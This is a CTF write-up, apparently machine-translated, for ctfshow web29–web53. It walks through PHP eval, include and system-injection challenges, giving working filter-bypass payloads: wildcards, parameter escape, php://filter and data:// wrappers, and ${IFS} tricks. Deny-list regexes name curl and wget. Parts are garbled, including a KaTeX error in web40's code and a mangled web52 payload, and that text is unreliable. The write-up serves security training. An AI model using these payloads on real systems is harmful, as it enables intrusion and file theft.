web29
The source code is:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
You can see that the word flag is filtered
But we can bypass flag through wildcards, such as using fla? To represent flag
First? c=system('ls'); To observe the files in this directory, we found flag.php
Then use? c=system('cp fla?.php 1.txt'); Match the contents of flag.php to 1.txt
Then access 1.txt to get the flag
web30
Open the page to view the source code:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:42:26 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
It is found that the system and php keywords are newly filtered
At this time, we can use the backquote ` ` ` to replace the system and continue to use the wildcard? To match php
Then payload
?c=`cp fla?.??? 1.txt`;
Then access 1.txt
web31
Open the page to view the source code
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
It is found that cat,sort,shell, decimal point, space, single quotation mark and other words are newly filtered
We can execute the first parameter of get through eval nesting
payload:
?c=eval($_GET[1]);&1=system('cat flag.php');
Here, payload makes the parameter 1 escape. It does not belong to c, so the characters dropped by ban are invalid for 1, and there is no filtering place for 1. We can directly cat flag.php
One thing here is that the page is blank after execution. You can only find the flag by looking at the source code
There is also an inverted hole: reverse cat to tac, that is, reverse reading. You can read it without looking at the source code
payload:
?c=eval($_GET[1]);&1=system('tac flag.php');
In this problem, we make a springboard for the c parameter and let it execute the value of another parameter. Then, the other parameter 1 is separated from the regular judgment of c, and we can execute any character dropped by ban
web32-web36
web32
Open the page to view the code
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
It is found that the new ban has lost the characters of backquote, echo, semicolon and left parenthesis
If the space is dropped by ban, we can escape 1 by including and carriage return (% 0a), and the last statement of php can use? > To replace;
payload:
?c=include%0a$_GET[1]?>&1=flag.php
However, our direct access does not output the value of flag. Although it has been successfully included, it cannot be output because there is no semicolon division
In this case, we can do it through file inclusion
In hackbar, there is a file containing plug-ins:
payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Because 1 has escaped here, there is basically no filtering in the following string. In this way, access flag.php to obtain the base64 encoded value
Put base64 decoded flag
This problem uses the method of file inclusion to read any file in a disguised form
php://filter Is a ratio filter. Here, a filter encoded by base64 is used to read flag.php
This filter is also a pseudo protocol. It reads a file or resource through a specified channel. Filter / indicates the specified channel, and base64 encode indicates that the name of the channel is base64
Generally speaking, the resources I read are encoded through base64
If you want to know the specific principle, you can take a look at this blog [[ctf] file contains vulnerabilities] [9]
web33-35
There is no difference between the filtered characters. payload is the same as web33. You can get the flag by executing it. See web32 for the specific principle
payload: ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
Open the page and find that the number is filtered. Then we can change the 1 of the previous payload to a
payload: ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37-web39
web37
The page code is as follows:
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:18:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
The difference is that it contains a c: include($c);
We can read this question through the data pseudo protocol
payload: ?c=data://text/plain,<?php system('tac fla?.php');?>
The data protocol executes the following string as php code. Naturally, the flag is successfully obtained by executing system('tac fla?.php ')
data: / / pseudo protocol
Similar to php: / /, the data stream wrapper uses the concept of stream to redirect the original include file stream to the user controllable input stream. In short, the inclusion method of the execution file includes your input stream, which is achieved by inputting payload; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
web38
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:23:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
Open this question and find that PHP is filtered, but the PHP code can be bypassed by using PHP short tags. flag.php can continue to use wildcards? bypass
payload: ?c=data://text/plain,<?=system('tac fla?.???')?>
Description: '<? =' Is a short open label for PHP and an open use of echo.
web39
Open the page to view the code as follows:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:13:21 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
The difference here is include($c); A. php is added after it
But here we can use the last payload:
?c=data://text/plain,<?=system('tac fla?.php')?>
Because our php code has been closed here,. php can not perform the effect, and can only be output as a string
web40
Open the page to view the code:
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|~|`|@|#|\$|%|^|&|*|\(|\)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", KaTeX parse error: Expected '}', got 'EOF' at end of input: ... eval(c);
}
}else{
highlight_file(FILE);
}
It was found that almost all symbols were filtered
There are only semicolons, underscores, and English brackets left (after a long time of observation, it is found that the Chinese brackets are filtered for the title)
Let's talk about a function to print the file under the original path: print_r(scandir('.'))
However, it is obvious that single quotation marks and decimal points have been filtered, and we have to find a way to bypass them here
The simplest way is to use the function to pass parameters, so find the function that can use the decimal point at present
Really: localeconv() returns an array containing local numbers and currency format information
Then the next idea is to construct: print_r(scandir(localeconv()[0]))
However, this function cannot be returned like localeconv()[0], and the square brackets are filtered, so other functions will be used
-
The current() function returns the current element (cell) in the array. The first value is taken by default,
-
pos() and current() are aliases of current()
-
The reset() function returns the value of the first cell of the array. If the array is empty, it returns FALSE
All three functions here can be used
So print the current directory:? c=print_r(scandir(pos(localeconv())));
flag.php was found from this directory
You can use next() here
Output the value of the next element of the current element in the array, that is, you can output the second (and end can output the last)
But what about flag in the third? You can use array_reverse function
This function transposes the array;
So payload:? c=print_r(next(array_reverse(scandir(pos(localeconv())))));
You can go to the flag.php directory, and then we can get the flag by looking at its code
Final payload:? c=show_ source(next(array_reverse(scandir(pos(localeconv())))));
Get flag
web40 another idea:
First, we try to print all the current variables to see what we can get from the variables
payload:?c=print_r(get_defined_vars());
An array of post variables was found
Then we can give him a value for post: 1=phpinfo();
It is found that the string is successfully post ed, so how do we get the value of this string?
We can use an operation on the array: next (the principle of next was mentioned in the previous idea of web40)
payload:?c=print_r(next(get_defined_vars()));
You can see that we got this array
If we want to get an array value, we pop up the array: array_pop()
Then execute the statement and print_ Change r to eval function
payload: ?c=eval(array_pop(next(get_defined_vars())));
So we successfully implemented it
So it's the same idea to take flag
We do payload:
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST: 1=system('tac flag.php');
Because there is no filtering on the post side, we can get the flag by connecting flag.php
web41
if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }
Using function: echo
Bypass the idea: filter both numbers and letters. The idea here is to construct system("ls"), but letters are filtered. There is no filter "|", which can be used to construct.
Payload1: script reference Master yu
web42
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }
Using function: system()
Bypass the idea: here, the output content is not echoed through > / dev / null 2 > & 1, which is equivalent to a "black hole". We truncate it through ";" and echo the flag
Payload1: ls;
Payload2: tac flag.php;
web43
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }
Similar to the previous question, we can see that semicolons here are filtered and can be truncated through the command separator: | & & these two can be truncated, but it should be noted that & & url coding is required for successful execution
payload: tac flag.php||or tac flag.php%26%26
web44
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }
The new flag characters are filtered and can be bypassed by wildcards
payload:tac fla?.php||
web45
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }
More space symbols are filtered. Use% 09 instead of spaces
payload:tac%09fla?.php||
web46
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }
More numbers are filtered, but it has no impact on the payload of our previous question. You can continue to use% 09 instead of spaces. Because% 09 is encoded, the browser automatically decodes it into a horizontal tab instead of a number, so you can use the payload of the previous question here
payload:tac%09fla?.php||
web47
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }
The new filter has no effect on the payload of the previous question and will continue to be used
payload:tac%09fla?.php||
web48
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }
Continue to use the payload: tac%09fla php||
web49
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }
Continue to use the payload: tac%09fla php||
web50
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }
%09 is filtered. The redirect character < > is used to replace the space, but < > cannot be followed by wildcards. We bypass the filtered flag through the backslash \
payload:tac<>fla\g.php||
web51
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }
The new tac is filtered, bypassed with backslash \ or replaced with nl
The nl command reads the File parameter (standard input by default), calculates the line number in the input, and writes the calculated line number to the standard output.
payload:ta\c<>fla\g.php|| or nl<>fla\g.php||
web52
The redirector is filtered and ${IFS} is used instead of spaces. See the following for a variety of bypass methods: CTF command execution and bypass
Construction: ta\c${IFS}fla\g.php||
Echo page:
Payload: TA \ C ${IFS}.. /.. /.. / flag \ g | get flag
web53
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }
/Dev / null 2 > & 1 is gone, so you don't need to truncate
payload:ta\c${IFS}fla\g.php